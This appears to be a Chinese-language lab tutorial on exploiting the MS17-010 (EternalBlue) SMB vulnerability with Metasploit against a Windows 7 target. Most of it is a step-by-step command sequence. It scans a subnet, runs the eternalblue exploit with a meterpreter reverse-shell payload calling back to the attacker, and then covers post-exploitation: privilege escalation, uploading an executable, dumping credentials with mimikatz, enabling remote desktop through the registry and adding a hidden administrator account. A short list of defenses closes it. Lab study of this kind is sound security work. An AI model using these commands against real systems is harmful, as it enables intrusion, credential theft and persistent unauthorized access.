介绍

  • Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。
  • ms17_010是一个安全类型的补丁,用来修补Windows操作系统中存在的一个基于SMB服务展现出来的一个漏洞,此漏洞利用445端口执行,原本是作为局域网共享使用的一个端口,但恶意人员可以利用此端口偷偷的执行共享服务或者其他命令执行操作。此ms17_010漏洞主要是针对于Windows7及以前的操作系统暴露出来的安全问题。
  • 永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
  • SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。

实验

攻击机:kali 192.168.47.130

靶机:windows7 192.168.47.128

当使用nmap或其他工具发现目标及上有445端口开启,可以考虑检测是否存在永恒之蓝

使用ping命令测试两台机器间网络是否互通(windows7记得关闭防火墙!)

image-20210730162236059

在kali中启动metasploit

1
msfconsole

搜索ms17_010相关漏洞利用模块

1
search ms17_010

image-20210730162921120

使用扫描模块(扫描目标机器是否存在此漏洞)

1
use auxiliary/scanner/smb/smb_ms17_010

设置扫描的网段范围

1
set rhosts 192.168.47.0/24

设置扫描的线程

1
set threads 50

开始扫描

1
run

扫描结束后,从结果中可以看到在当前扫描的网段中存在一个windows7的操作系统存在ms17_010漏洞

image-20210730165507338

接下来进行漏洞利用,使用漏洞利用模块

1
use exploit/windows/smb/ms17_010_eternalblue

设置漏洞利用完成后的反弹模块,用以接收回馈信息

1
set payload windows/x64/meterpreter/reverse_tcp

设置反弹ip地址(即kali攻击机ip)

1
set lhost 192.168.47.130

设置反弹端口

1
set lport 6666

设置被攻击的目标主机ip

1
set rhost 192.168.47.128

检查设置的信息

1
show options

image-20210730170329121

准备工作完成,进行攻击

1
exploit

image-20210730170632714

后续利用

1
2
3
4
5
6
getsystem // 提权
getuid // 查看当前用户身份
sysinfo // 查看系统信息
screenshot // 截屏
webcam_list //查看目标摄像头设备列表
shell // 进入靶机cmd(如果出现乱码的话执行chcp 65001)

上传文件

1
2
upload  /aaa.exe  c:// 
//在kali根目录下创建了一个aaa.exe的文件,将其上传至目标操作系统当中C盘下

获取密码

1
2
3
load mimikatz //加载获取密码的模块
creds_msv //获取密文hash值
creds_kerberos //获取明文密码****

远程桌面连接靶机

  1. 查看靶机端口开放情况

    1
    netstat -an

    如果没有开启3389端口,可以在cmd中使用以下命令开启(Win7、Win2003、XP系统)

    1
    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
  2. 创建用户名密码 blue/blue

    1
    net user blue blue /add 

    将用户blue添加入管理组 (不加入会连接不上)

    1
    net localgroup administrators blue /add
  3. 远程桌面连接(这里前提是目标机不是普通的家庭版,要支持远程连接

    1
    rdesktop 192.168.47.128:3389

    防范措施:

  • 关闭445等高危端口
  • 配置防火墙,安装防护软件
  • 安装补丁